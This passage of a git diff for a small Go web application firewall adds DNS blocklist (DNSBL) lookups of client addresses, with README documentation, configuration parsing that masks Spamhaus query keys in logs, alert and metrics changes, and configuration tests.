whatever + `SWWAF_BLOCKLIST_ACTION` and `SWWAF_REPUTATION_ACTION` say, in `observe` mode + as in `enforce` mode. +- `source_failure`: GeoJS failing or refusing `smallwebwaf`, a fetch of a list + failing (see "Blocklists" below), or a query to a DNSBL zone failing or + refused (see "DNS blocklists" below). - `file_error`: a rule file edited while it runs that has an error, an edit of a state file set aside as `.bad`, a state file it could not write while running, or a replacement of the lookup database it could not read, which it @@ -863,7 +913,7 @@ is sent on one line: - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; for an `anomaly`, what was counted over which threshold, such as `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; - for a `reputation_hit`, `listed by a blocklist`. + for a `reputation_hit`, `listed by a blocklist` or `listed by a DNSBL zone`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, @@ -871,11 +921,11 @@ is sent on one line: `asn` and the `name` of the named netblock for `watch`, the `window`, `minute` or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, - the `source`, the URL of the blocklist; for `source_failure`, the `source`, - `geojs` or the URL of the list, the `error`, and for GeoJS, when it is asked - again, `asking_again_in`; for `file_error`, the `file`, which for an edit set - aside is the file it was renamed to, and the `error`, which for a file that - does not parse names where in it the error is. + the `source`, the URL of the blocklist or the zone; for `source_failure`, the + `source`, `geojs`, the URL of the list or the zone, the `error`, and for + GeoJS, when it is asked again, `asking_again_in`; for `file_error`, the + `file`, which for an edit set aside is the file it was renamed to, and the + `error`, which for a file that does not parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this alert, and for a `summary`, those no other alert gives (see below). @@ -921,11 +971,11 @@ and Slack this JSON object, shown indented; it is sent on one line: ``` An alert for the same event as the last one sent, on the same netblock, and for -a `reputation_hit` about the same blocklist, or for a `file_error` about the -same file, or for a `source_failure` about the same source, or for an `anomaly` -in the same scope, with the same netblock, AS number or name, whatever its -window and kind, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it is -held back and counted, and the next alert sent for them gives that count as +a `reputation_hit` about the same blocklist or zone, or for a `file_error` about +the same file, or for a `source_failure` about the same source, or for an +`anomaly` in the same scope, with the same netblock, AS number or name, whatever +its window and kind, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it +is held back and counted, and the next alert sent for them gives that count as `suppressed_repeats`. As each hour of the clock, in UTC, ends, the cooldowns that have run out are dropped, and the repeats they held back, which no alert sent since has given, go in that hour's summary. @@ -990,8 +1040,11 @@ with times in UTC. indented to be read, under `lists`: its `url`, when it was last `tried`, the fetch failed or not, and its last good copy: when that was `fetched`, and its `lines`, as fetched, comment lines included, each on a line of its own, both - left out while no fetch of it has succeeded. As the file is read, the lists - the settings no longer name are dropped. + left out while no fetch of it has succeeded; and under `verdicts`, each + verdict of a DNSBL zone still in use (see "DNS blocklists" below): its `zone`, + the `client`'s address, whether the zone `listed` the client, and when the + zone gave it, `fetched`. As the file is read, the lists the settings no longer + name, and the verdicts of the zones they no longer name, are dropped. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, with the `source` too for a `reputation_hit`, or event and `file` or `source`, or for an `anomaly`, @@ -1029,24 +1082,26 @@ keeps refusing every client in its netblock until it ends, even after until a fetch of it succeeds. A netblock whose address has bits past its length, such as `203.0.113.9/24`, is read as the netblock it is in, `203.0.113.0/24`. Buckets and answers whose time has passed are dropped, and so is an anomaly -counter left with no bucket. A missing file is empty state, as on a first start. -A file that does not parse, or has another `version`, stops the start with a -message naming the file, and the line and column where Go's JSON decoder gives -them; so does a state directory `smallwebwaf` cannot write. So does an entry -without a field it needs, named with the entry's place in the file: a ban's -`netblock`, `start` or `expires`, which is `null` for a permanent ban; a -client's `client`, or the `start` of a window in which it has requests or bytes; -an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, -or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or -`time`; an anomaly counter's `netblock`, unless it counts an AS number or the -whole service, its `asn`, for an AS number, its `name`, for a named netblock, or -the `start` of a window in which it has requests or bytes; a list's `url`, -`fetched` or `lines`, which is `[]` for an empty list. So does a ban whose -`cause` is not `limit`, `attack` or `admin`, alerts waiting for a destination -that is not `webhook`, `slack` or `ntfy`, an anomaly counter whose `scope` is -not `client`, `net`, `asn`, `total` or `watch`, and a copy of a list with a line -that would make its fetch fail. An answer's `asn` or `as_name` left out reads as -empty. +counter left with no bucket; a verdict past its time is neither used nor written +again. A missing file is empty state, as on a first start. A file that does not +parse, or has another `version`, stops the start with a message naming the file, +and the line and column where Go's JSON decoder gives them; so does a state +directory `smallwebwaf` cannot write. So does an entry without a field it needs, +named with the entry's place in the file: a ban's `netblock`, `start` or +`expires`, which is `null` for a permanent ban; a client's `client`, or the +`start` of a window in which it has requests or bytes; an answer's `client`, +`country`, which is `""` for a client GeoJS cannot place, or `answered`; a +cooldown's `event` or `sent`; an alert waiting's `event` or `time`; an anomaly +counter's `netblock`, unless it counts an AS number or the whole service, its +`asn`, for an AS number, its `name`, for a named netblock, or the `start` of a +window in which it has requests or bytes; a list's `url`, `fetched` or `lines`, +which is `[]` for an empty list; a verdict's `zone`, `client`, `listed`, which +is `false` for a client the zone does not list, or `fetched`. So does a ban +whose `cause` is not `limit`, `attack` or `admin`, alerts waiting for a +destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter whose +`scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a list +with a line that would make its fetch fail. An answer's `asn` or `as_name` left +out reads as empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -1238,6 +1293,11 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets `smallwebwaf_reputation_failures_total`: the fetches of the list that failed; and `smallwebwaf_reputation_last_fetch_timestamp_seconds`: when the copy of it in use was fetched, `0` while there is none. +- By `source`, each zone `SWWAF_DNSBL_ZONES` names: + `smallwebwaf_reputation_hits_total`: the requests whose client the zone's + verdict lists, a series that comes with the first; + `smallwebwaf_reputation_queries_total`: the queries made to the zone; and + `smallwebwaf_reputation_failures_total`: those that failed. - `smallwebwaf_tracked_clients`: the clients in the table of clients. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, @@ -1429,9 +1489,9 @@ goes through the candidates one by one. readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files - for the bans, the clients, the GeoJS answers, the copies of the lists and the - alerts are built, with an edit taken in while running (see "State files" - above); the rest comes with its features. + for the bans, the clients, the GeoJS answers, the copies of the lists, the + verdicts of the DNSBL zones and the alerts are built, with an edit taken in + while running (see "State files" above); the rest comes with its features. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -1659,6 +1719,58 @@ hour apart whatever `SWWAF_BLOCKLIST_REFRESH` is: each fetches a list again that long after its own last try, so those first started within the same hour, with the same refresh, keep fetching within the same hour. +## DNS blocklists + +`SWWAF_DNSBL_ZONES` names DNS blocklists, DNSBL zones, which list an address by +answering a query for a name made from it. None is named by default, for the +reason none of the blocklists is. `smallwebwaf` asks each zone about a client's +own address in the background, the first time it sees the client: the request +goes on at once, as from a client the zone does not list, and so does every +request from it until the zone has answered. The name asked about is the one RFC +5782 gives: the four numbers of an IPv4 address in reverse order, so that +`192.0.2.99` is asked about in `dnsbl.dronebl.org` as +`99.2.0.192.dnsbl.dronebl.org`, or the 32 hex digits of an IPv6 address in +reverse order, each followed by a dot. An IPv6 client is asked about by its own +address, not by its /64. + +A zone that answers that the name does not exist, or has no address, does not +list the client, and one that answers with an address in `127.0.0.0/8` lists it. +Any other answer gives no verdict, and is a failure: an address in +`127.255.255.0/24`, with which Spamhaus refuses a query, such as one sent +through a public resolver or one past its limit; an address outside +`127.0.0.0/8`, such as a resolver gives that answers even for names that do not +exist; an error the resolver answers with, such as a refusal; and no answer +within `SWWAF_REPUTATION_TIMEOUT`. A failure is counted, logged and raised as a +`source_failure` alert, held back as a repeat within `SWWAF_ALERT_COOLDOWN`, and +the zone is not asked again for a minute, so that a zone that refuses queries is +not asked on every request. + +Each verdict, the zone listing the client or not, is kept, in memory and in +`reputation.json` (see "State files" above), so that a restart keeps it, and is +used for `SWWAF_REPUTATION_CACHE_TTL` after the zone gave it, 24 hours by +default. The client's first request after that has the zone asked again, and +until it answers, no verdict of the zone applies to the client. At most 100,000 +verdicts are kept, the one fetched longest ago dropped first, and at most 1,000 +queries are under way at once; past that, a zone is asked about a client at the +client's next request. + +A client in `SWWAF_ALLOW_NETS` is not checked, nor is one a blocklist refuses. +`SWWAF_REPUTATION_ACTION` says what is done with one a zone's verdict lists, as +"What it does so far" above describes. + +Do not name a zone meant for mail, such as one of residential and dynamic +address ranges, which ordinary visitors come from, or one that includes such a +list, as Spamhaus's `zen` does: it would refuse them, or lower their limits. +Spamhaus's zones answer through its keyed query service, named with the key in +it, such as `.xbl.dq.spamhaus.net`. The key of a zone under +`dq.spamhaus.net` is its first label, and `smallwebwaf` shows `********` in its +place wherever it names the zone, as `********.xbl.dq.spamhaus.net`: in the +settings logged at start, an error that stops the start, its own messages, the +request log, the alerts and the metrics. Only `reputation.json` keeps the zone +with its key. A key in the name of any other zone is shown as given. Several +zones refuse queries that come through a public resolver; `SWWAF_DNSBL_RESOLVER` +names another resolver to ask through. + ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. @@ -1672,15 +1784,15 @@ the same refresh, keep fetching within the same hour. standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for - a ban, for the country lists, for a blocklist, for a rate limit, which bans - the client, for a `block` or `ban` rule, the latter banning the client, and - for an announced body over the size limit; in `observe` mode, only for the - size limit, with what it would have refused for noted in the log line. A - request under `/_smallwebwaf/` that `check` lets through is answered by - `answerAdmin` instead of reaching the app. Once the answer to a request passed - to the app has ended, `countBytes` counts its bytes for the byte limits, and - once any request but the health check has ended, `countAnomalies` counts it - for the anomaly thresholds. + a ban, for the country lists, for a blocklist, for a DNSBL zone's verdict, for + a rate limit, which bans the client, for a `block` or `ban` rule, the latter + banning the client, and for an announced body over the size limit; in + `observe` mode, only for the size limit, with what it would have refused for + noted in the log line. A request under `/_smallwebwaf/` that `check` lets + through is answered by `answerAdmin` instead of reaching the app. Once the + answer to a request passed to the app has ended, `countBytes` counts its bytes + for the byte limits, and once any request but the health check has ended, + `countAnomalies` counts it for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1696,7 +1808,9 @@ the same refresh, keep fetching within the same hour. - `internal/reputation`: fetches the blocklists and the file `SWWAF_ASN_LIMIT_PERCENT_URL` names as they are due, keeps the last good copy of each, and tells which blocklists list an address and what percentage the - file gives an AS number. + file gives an AS number; and asks the DNSBL zones about clients in the + background, through the standard library's resolver, keeps their verdicts, and + tells which zones' verdicts list an address. - `internal/ratelimit`: the table of clients: counts each client's requests and bytes, tells when they take it over a rate limit or a byte limit, and keeps each client's history. @@ -1724,7 +1838,8 @@ the same refresh, keep fetching within the same hour. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least -recently seen, the anomaly counters to 20,000, dropping the one counted least +recently seen, the DNSBL zones' verdicts to 100,000, dropping the one fetched +longest ago, the anomaly counters to 20,000, dropping the one counted least recently, and the banned netblocks in the order they were last seen, from which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 8c72282..3305307 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -46,10 +46,11 @@ const ( EventAnomaly = "anomaly" // EventWAFBlock comes with the Core Rule Set; nothing raises it yet. EventWAFBlock = "waf_block" - // EventReputationHit is a request whose client a blocklist lists. + // EventReputationHit is a request whose client a blocklist or a DNSBL + // zone lists. EventReputationHit = "reputation_hit" - // EventSourceFailure is GeoJS failing or refusing smallwebwaf, or a - // fetch of a list failing. + // EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch + // of a list failing, or a query to a DNSBL zone failing or refused. EventSourceFailure = "source_failure" // EventFileError is a rule file or state file edited while smallwebwaf // runs that does not parse, a replacement of the lookup database that diff --git a/internal/config/config.go b/internal/config/config.go index 0343286..b5615fa 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -152,6 +152,21 @@ type Config struct { BlocklistRefresh time.Duration BlocklistAction string BlocklistLimitPercent int64 + // DNSBLZones are the DNSBL zones clients are asked about + // (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or + // the host's resolver while that is the zero AddrPort. + // ReputationAction is what is done with a client a zone's verdict lists + // (SWWAF_REPUTATION_ACTION): deny, limit or log; for limit, + // ReputationLimitPercent is the percentage of every limit it gets. A + // verdict is used for ReputationCacheTTL after it was fetched + // (SWWAF_REPUTATION_CACHE_TTL), and a query may take ReputationTimeout + // (SWWAF_REPUTATION_TIMEOUT). Neither can be off. + DNSBLZones []string + DNSBLResolver netip.AddrPort + ReputationAction string + ReputationLimitPercent int64 + ReputationCacheTTL time.Duration + ReputationTimeout time.Duration // BanResponse is the status a refused client is answered with, 403 // or 429, or 0 to close the connection without an answer // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that @@ -366,6 +381,11 @@ var ( errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h") errNotAction = errors.New( "is not deny, limit: such as limit:25, or log") + errNotZone = errors.New("is not a DNS zone such as dnsbl.dronebl.org") + errZoneTooLong = errors.New("is longer than 189 characters, too long for the " + + "names IPv6 clients are asked about by") + errNotResolver = errors.New("is not an IP address with an optional port, " + + "such as 192.0.2.53 or [2001:db8::53]:5353") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -418,6 +438,10 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { ASNLimitPercentURL: env.listURL("SWWAF_ASN_LIMIT_PERCENT_URL"), BlocklistURLs: env.listURLs("SWWAF_BLOCKLIST_URLS"), BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"), + DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"), + DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"), + ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"), + ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), @@ -462,6 +486,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg.InstanceName, cfg.LogRemoteURL != nil) cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( "SWWAF_BLOCKLIST_ACTION", "deny") + cfg.ReputationAction, cfg.ReputationLimitPercent = env.action( + "SWWAF_REPUTATION_ACTION", "limit:25") env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) env.checkLookupDBPath(cfg) @@ -733,9 +759,9 @@ func (e *environment) refresh(name, defaultValue string) time.Duration { return duration } -// action reads a setting that is what is done with a client a list names: -// deny, log, or limit:, which it returns as limit and the -// percentage. +// action reads a setting that is what is done with a client a blocklist +// or a DNSBL zone lists: deny, log, or limit:, which it returns +// as limit and the percentage. func (e *environment) action(name, defaultValue string) (string, int64) { value := e.value(name, defaultValue) if value == "deny" || value == "log" { @@ -752,6 +778,33 @@ func (e *environment) action(name, defaultValue string) (string, int64) { return "limit", percent } +// zones reads the setting that is the list of DNSBL zones. It is empty by +// default. The log shows each zone with its key masked, as MaskZoneKey +// masks it. +func (e *environment) zones(name string) []string { + value, _ := e.lookup(name) + zones, err := parseZones(value) + e.check(name, err) + + logged := make([]string, len(zones)) + for i, zone := range zones { + logged[i] = MaskZoneKey(zone) + } + + e.settings = append(e.settings, slog.String(name, strings.Join(logged, ","))) + + return zones +} + +// resolver reads the setting that is the resolver the DNSBL zones are +// asked through, the zero AddrPort while it is unset or empty. +func (e *environment) resolver(name string) netip.AddrPort { + resolver, err := parseResolver(e.value(name, "")) + e.check(name, err) + + return resolver +} + // lookupSource reads the setting that is where clients are looked up: // geojs, file, or off. func (e *environment) lookupSource(name, defaultValue string) string { @@ -1697,6 +1750,113 @@ func parseListURLs(value string) ([]string, error) { return urls, nil } +const ( + // maxZoneLength is the most characters a DNSBL zone may have: 253, the + // most a DNS name may have, less the 64 that come before the zone in + // the name an IPv6 client is asked about by, its 32 hex digits each + // followed by a dot. + maxZoneLength = 189 + // maxLabelLength is the most characters a label of a DNS name may have. + maxLabelLength = 63 + // labelChars are the characters a label of a DNS zone may hold. + labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-" + // dnsPort is the port a resolver is asked on when SWWAF_DNSBL_RESOLVER + // gives none. + dnsPort = 53 +) + +// parseZones reads a comma-separated list of DNSBL zones, each a DNS name +// such as dnsbl.dronebl.org: labels separated by dots, each of 1 to 63 +// letters, digits and hyphens, neither starting nor ending with a hyphen, +// and at most maxZoneLength characters in all. Go's resolver takes any +// other name for one that does not exist, so that the zone would list no +// client. A zone listed twice is an error, whatever the case of its +// letters, which DNS names ignore, and whatever its key, since +// MaskZoneKey shows two keys of one zone alike. An error shows a zone as +// MaskZoneKey does. +func parseZones(value string) ([]string, error) { + zones, err := parseList(value) + if err != nil { + // parseList's error, for an empty item, shows the whole value, keys + // included. + return nil, errEmptyItem + } + + for i, zone := range zones { + shown := MaskZoneKey(zone) + listedBefore := slices.ContainsFunc(zones[:i], func(earlier string) bool { + return strings.EqualFold(MaskZoneKey(earlier), shown) + }) + + switch { + case len(zone) > maxZoneLength: + return nil, fmt.Errorf("%q %w", shown, errZoneTooLong) + case !isZone(zone): + return nil, fmt.Errorf("%q %w", shown, errNotZone) + case listedBefore: + return nil, fmt.Errorf("%q %w", shown, errListedTwice) + } + } + + return zones, nil +} + +// MaskZoneKey returns zone with ******** in place of its key, if it is a +// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net, +// such as .xbl.dq.spamhaus.net, whose first label is the key. Any +// other zone it returns as it is. A zone is shown so wherever it leaves +// the process: in the log, the alerts and the metrics. +func MaskZoneKey(zone string) string { + // DNS names ignore case, and a name may be written with a dot at its + // end. + name := strings.TrimSuffix(strings.ToLower(zone), ".") + if !strings.HasSuffix(name, ".dq.spamhaus.net") { + return zone + } + + _, rest, _ := strings.Cut(zone, ".") + + return masked + "." + rest +} + +// isZone reports whether each label of zone is as parseZones takes it. +func isZone(zone string) bool { + for label := range strings.SplitSeq(zone, ".") { + badChar := strings.ContainsFunc(label, func(char rune) bool { + return !strings.ContainsRune(labelChars, char) + }) + + if label == "" || len(label) > maxLabelLength || badChar || + strings.HasPrefix(label, "-") || strings.HasSuffix(label, "-") { + return false + } + } + + return true +} + +// parseResolver reads the resolver the DNSBL zones are asked through: an +// IP address with a port from 1 to 65535, such as 192.0.2.53:5353 or +// [2001:db8::53]:5353, or without one, such as 192.0.2.53 or 2001:db8::53, +// for port 53. An empty value is none, the zero AddrPort. +func parseResolver(value string) (netip.AddrPort, error) { + if value == "" { + return netip.AddrPort{}, nil + } + + resolver, err := netip.ParseAddrPort(value) + if err == nil && resolver.Port() != 0 { + return resolver, nil + } + + addr, err := netip.ParseAddr(value) + if err != nil { + return netip.AddrPort{}, fmt.Errorf("%q %w", value, errNotResolver) + } + + return netip.AddrPortFrom(addr, dnsPort), nil +} + // parseWebhookHeaders reads a comma-separated list of headers, each its // name, :, and its value, and returns them, and how the log shows them, // with each value as ********. An error names the item by its place in diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 78a8456..34d3dd0 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -61,6 +61,11 @@ const ( blocklistURLs = "SWWAF_BLOCKLIST_URLS" blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH" blocklistAction = "SWWAF_BLOCKLIST_ACTION" + dnsblZones = "SWWAF_DNSBL_ZONES" + dnsblResolver = "SWWAF_DNSBL_RESOLVER" + reputationAction = "SWWAF_REPUTATION_ACTION" + reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" + reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" banResponse = "SWWAF_BAN_RESPONSE" limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" @@ -152,6 +157,9 @@ const ( defaultAlertCooldown = "15m" ) +// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. +const defaultReputationCacheTTL = "24h" + // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + "content-type,origin,range" @@ -1322,6 +1330,202 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) { } } +// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name +// containing spamhausKey, the key of its keyed query service, which the +// log shows as spamhausMasked. +const ( + dronebl = "dnsbl.dronebl.org" + spamhausKey = "abcdefghijklmnopqrstuvwxyz" + spamhaus = spamhausKey + ".xbl.dq.spamhaus.net" + spamhausMasked = "********.xbl.dq.spamhaus.net" +) + +func TestDNSBLSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() || + cfg.ReputationAction != actionLimit || cfg.ReputationLimitPercent != 25 || + cfg.ReputationCacheTTL != 24*time.Hour || cfg.ReputationTimeout != 2*time.Second { + t.Errorf("by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ + "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", + cfg.DNSBLZones, + cfg.DNSBLResolver, cfg.ReputationAction, cfg.ReputationLimitPercent, + cfg.ReputationCacheTTL, cfg.ReputationTimeout) + } + + // The longest zone allowed, of 189 characters, with labels of 63, the + // longest allowed. + longest := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + + strings.Repeat("c", 61) + + for _, tc := range []struct { + zones, resolver, action string + // want are the zones, resolver, action and percent Config gives. + want []string + wantResolver string + wantAction string + wantPercent int64 + }{ + { + dronebl + ", " + spamhaus, "192.0.2.53", actionDeny, + []string{dronebl, spamhaus}, "192.0.2.53:53", actionDeny, 0, + }, + { + longest, "192.0.2.53:5353", actionLog, + []string{longest}, "192.0.2.53:5353", actionLog, 0, + }, + { + "Dnsbl-1.Example", "2001:db8::53", "limit:10", + []string{"Dnsbl-1.Example"}, "[2001:db8::53]:53", actionLimit, 10, + }, + { + dronebl, "[2001:db8::53]:5353", "limit:0", + []string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0, + }, + } { + cfg := fromEnvironment(t, environment{ + dnsblZones: tc.zones, dnsblResolver: tc.resolver, reputationAction: tc.action, + reputationCacheTTL: "12h", reputationTimeout: "3s", + }) + + if !slices.Equal(cfg.DNSBLZones, tc.want) || + cfg.DNSBLResolver.String() != tc.wantResolver || + cfg.ReputationAction != tc.wantAction || + cfg.ReputationLimitPercent != tc.wantPercent || + cfg.ReputationCacheTTL != 12*time.Hour || + cfg.ReputationTimeout != 3*time.Second { + t.Errorf("%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", dnsblZones, + tc.zones, dnsblResolver, tc.resolver, reputationAction, tc.action, + cfg.DNSBLZones, cfg.DNSBLResolver, cfg.ReputationAction, + cfg.ReputationLimitPercent, cfg.ReputationCacheTTL, cfg.ReputationTimeout) + } + } +} + +func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notZone = " is not a DNS zone such as dnsbl.dronebl.org" + notResolver = " is not an IP address with an optional port, such as 192.0.2.53 " + + "or [2001:db8::53]:5353" + notAboveZero = " is not a duration above zero, such as 1h or 7d" + ) + + label64 := strings.Repeat("a", 64) + ".example" + tooLong := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + + strings.Repeat("c", 62) + + for _, tc := range []struct{ name, value, want string }{ + {dnsblZones, "dnsbl..example", `"dnsbl..example"` + notZone}, + {dnsblZones, "dnsbl.example.", `"dnsbl.example."` + notZone}, + {dnsblZones, "-dnsbl.example", `"-dnsbl.example"` + notZone}, + {dnsblZones, "dnsbl-.example", `"dnsbl-.example"` + notZone}, + {dnsblZones, "dns_bl.example", `"dns_bl.example"` + notZone}, + {dnsblZones, label64, `"` + label64 + `"` + notZone}, + { + dnsblZones, tooLong, + `"` + tooLong + `" is longer than 189 characters, too long for the names ` + + `IPv6 clients are asked about by`, + }, + { + dnsblZones, dronebl + "," + spamhaus + "," + dronebl, + `"` + dronebl + `" is listed twice`, + }, + // DNS names ignore case. + {dnsblZones, "dnsbl.example,DNSBL.example", `"DNSBL.example" is listed twice`}, + {dnsblResolver, "resolver.example", `"resolver.example"` + notResolver}, + {dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver}, + {dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver}, + {dnsblResolver, "[2001:db8::53]", `"[2001:db8::53]"` + notResolver}, + { + reputationAction, "ban", + `"ban" is not deny, limit: such as limit:25, or log`, + }, + {reputationCacheTTL, off, `"off"` + notAboveZero}, + {reputationTimeout, "0s", `"0s"` + notAboveZero}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) { + t.Parallel() + + for zone, want := range map[string]string{ + spamhaus: spamhausMasked, + spamhaus + ".": spamhausMasked + ".", + "KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET", + dronebl: dronebl, + "dq.spamhaus.net": "dq.spamhaus.net", + spamhaus + ".example": spamhaus + ".example", + } { + if got := config.MaskZoneKey(zone); got != want { + t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want) + } + } +} + +func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{dnsblZones: dronebl + ", " + spamhaus}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, spamhausKey) || + !strings.Contains(logged, `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`) { + t.Errorf("the zones are not logged with the key masked: %s", logged) + } + + // Nor does an error that stops the start show a key, in any case. + const ( + notZone = " is not a DNS zone such as dnsbl.dronebl.org" + otherKey = "zyxwvutsrqponmlkjihgfedcba" + otherZone = otherKey + ".xbl.dq.spamhaus.net" + ) + + // 205 characters, 187 with the key masked. + labels := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." + + strings.Repeat("c", 30) + ".xbl.dq.spamhaus.net" + + for _, tc := range []struct{ value, want string }{ + {spamhaus + ".", `"` + spamhausMasked + `."` + notZone}, + {spamhausKey + "_.xbl.dq.spamhaus.net", `"` + spamhausMasked + `"` + notZone}, + { + spamhausKey + "." + labels, + `"********.` + labels + `" is longer than 189 characters, too long ` + + `for the names IPv6 clients are asked about by`, + }, + { + spamhaus + "," + strings.ToUpper(spamhaus), + `"********.XBL.DQ.SPAMHAUS.NET" is listed twice`, + }, + {spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`}, + {spamhaus + ",,", "has an empty item in its list"}, + } { + _, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv) + + want := dnsblZones + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("%s=%s gave the error %v, want %s", dnsblZones, tc.value, err, want) + } + } +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -1704,6 +1908,7 @@ func writeFile(t *testing.T, contents string) string { return path } +//nolint:funlen // one line for each setting, a list that grows with them func TestLogsEachSettingWithItsValue(t *testing.T) { t.Parallel() @@ -1749,6 +1954,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { blocklistURLs: "", blocklistRefresh: "24h", blocklistAction: actionDeny, + dnsblZones: "", + dnsblResolver: "", + reputationAction: "limit:25", + reputationCacheTTL: defaultReputationCacheTTL, + reputationTimeout: "2s", banResponse: "403", limitBanDuration: "1h", limitBanRepeatWindow: "24h", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index af5df88..d867e7c 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -14,6 +14,7 @@ import ( "github.com/prometheus/client_golang/prometheus/promhttp" "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/ratelimit" 